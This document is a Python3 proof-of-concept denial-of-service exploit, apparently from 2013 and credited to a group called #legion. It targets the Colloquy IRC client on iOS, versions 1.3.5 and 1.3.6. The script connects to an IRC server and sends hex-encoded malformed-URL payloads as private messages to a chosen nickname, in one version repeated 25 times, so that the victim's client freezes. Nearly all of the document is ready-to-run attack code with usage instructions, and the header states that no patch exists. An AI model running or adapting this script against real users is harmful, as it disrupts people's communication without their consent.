Colloquy 1.3.5 / 1.3.6 Denial Of Service

`#!/usr/bin/python3  
###################################################################################  
# Wednesday, January 09, 2013  
#  
#  
#  
# _ _ .__ .__   
# __| || |_| | ____ ____ |__| ____ ____   
# \ __ / | _/ __ \ / ___\| |/ _ \ / \   
# | || || |_\ ___// /_/ > ( <_> ) | \  
# /_ ~~ _\____/\___ >___ /|__|\____/|___| /  
# |_||_| \/_____/ \/  
# http://www.zempirians.com  
#  
# 00100011 01101100 01100101 01100111 01101001 01101111 01101110  
#  
#   
#  
# -=[ Colloquy - A Mac OS X Internet Chat client. ] =-  
#   
# [P]roof [o]f [C]oncept, Denial of Service  
#  
#  
#  
#  
###################################################################################  
# # T E A M #  
# #######################  
#  
# UberLame .......> Provided exploit discovery + payloads  
# Aph3x .......> Provided main payload attack for this demostration. <3  
# O_O .......> Built the concept in Python3  
# Apetrick .......> Allowed testing of the exploit against his ipod  
# syk .......> Allowed testing of the exploit against his iphone5  
#  
#  
###################################################################################  
# SUMMARY #  
################  
#   
# This DOS is designed to freeze the client making it impossible to do anything  
# with it. The user will need to manually restart the application in order to  
# continue using it.  
#  
# There are over a few dozen ways to crash the Colloquy client, however, we  
# will only be showing 3 various methods. These glitches were suppose to be  
# fixed in 'Colloquy' 1.3.5, however, they still exist in the lastest release  
# of 1.3.6...  
#  
################  
# VULNERABLE #  
################  
#  
# Colloquy 1.3.5 (5534) - iPhone OS 5.1.1 (ARM) - http://colloquy.mobi  
# Colloquy 1.3.6 (5575) - iPhone OS 6.0.2 (ARM) - http://colloquy.mobi  
#  
################  
# PATCH #  
################  
#  
# There is no CVE reported.  
#  
################  
# PATCH #  
################  
#  
# There is no PATCH available.  
#  
###################################################################################  
# # #  
# # H O W - T O #  
# # #  
# #######################  
#  
# Provide the Target: Server, Port, Nickname and the script will deliver  
# the payload...  
#  
# [!USE/]$ ./<file>.py -t <server> -p <port> -n <nickname>  
#  
###################################################################################  
from argparse import ArgumentParser  
from time import sleep  
import socket  
  
  
shellcode = {  
# One Shot <3  
'one_shot' : [ \  
"687474703a2f2f782f2e2425235e26402426402426232424242425232426",  
"23242623262340262a232a235e28242923404040245e2340242625232323",  
"5e232526282a234026405e242623252623262e2f2e2f2e2e2f2e2e2f2324",  
"2e24" ],  
  
# 1.3.5   
'1_3_5' : [ \  
"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",  
"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",  
"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c"  
"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],  
  
# 1.3.6 - ( Requires Sending 25 Times )  
'1_3_6' : [ \  
"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",  
"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",  
"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c",  
"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],  
}  
  
def own( sock, target, sc_key='one_shot' ):  
sc = ''.join( shellcode[sc_key] )  
targ = ''.join( ''.join( [ hex( ord( ch ) ) for ch in target ] ).split( '0x' ) )  
  
msg = "505249564d534720{}203a{}0d0a".format( targ, sc )  
  
if sc_key not in '1_3_6':  
sock.send( bytes.fromhex( msg ) )  
else:  
try:  
for x in range( 1, 26 ):  
sock.send( bytes.fromhex( msg ) )  
sleep( .64 )  
except:  
print( 'FAILED!')  
  
  
def connect( uri, port, target, sc_key ):  
sock = socket.socket()  
try:  
ret = sock.connect_ex(( uri, int( port ) ))  
sock.recv(8096)  
except:  
print( "\t[-] Failed To Connect To {}".format( uri ) )  
exit()  
  
  
sock.send( b"\x4e\x49\x43\x4b\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x0d\x0a" )   
sock.send( b"\x55\x53\x45\x52\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x20\x48\x45\x48\x45\x20\x48\x45\x48\x45\x20\x3a\x3c\x33\x0d\x0a" )  
  
while True:  
host_data = str( sock.recv( 8096 ).strip() )  
  
  
if ' 396 ' in host_data:  
print( '\t[+] Connection Successful Sending Payload To {}'.format( target ) )  
own( sock, target, sc_key )  
sock.send( b'QUIT\r\n' )  
sock.close()  
break  
  
  
try:   
msg = host_data.split()  
if msg[0].lower() is 'ping':  
sock.send( b"PONG {}\r\n".format( msg[1] ) )  
continue  
except:  
pass  
  
  
print( '\t[!] Payload Sent, Target Should Drop Shortly <3' )  
  
  
  
if __name__ == '__main__':  
parser = ArgumentParser( description='#legion Colloquy IRC DoS; Requires At Least A Nick To Target' )  
  
parser.add_argument( '-t', '--target', dest='target', default='localhost', help="IRCD Server Uri To Connect On" )  
parser.add_argument( '-p', '--port', dest='port', default=6667, help="Port To Connect On" )  
parser.add_argument( '-n', '--nick', dest='nick', metavar='NICK', help="Nick To Target" )  
  
parser.add_argument( '-s', '--shellcode', dest='shellcode', default='one_shot',  
help='Shell Code To Use, ( one_shot, 1_3_5, 1_3_6 )' )  
  
  
  
args = parser.parse_args()  
  
if args.nick is None:  
parser.print_help()  
exit()  
  
connect( args.target, args.port, args.nick, args.shellcode.strip() )  
`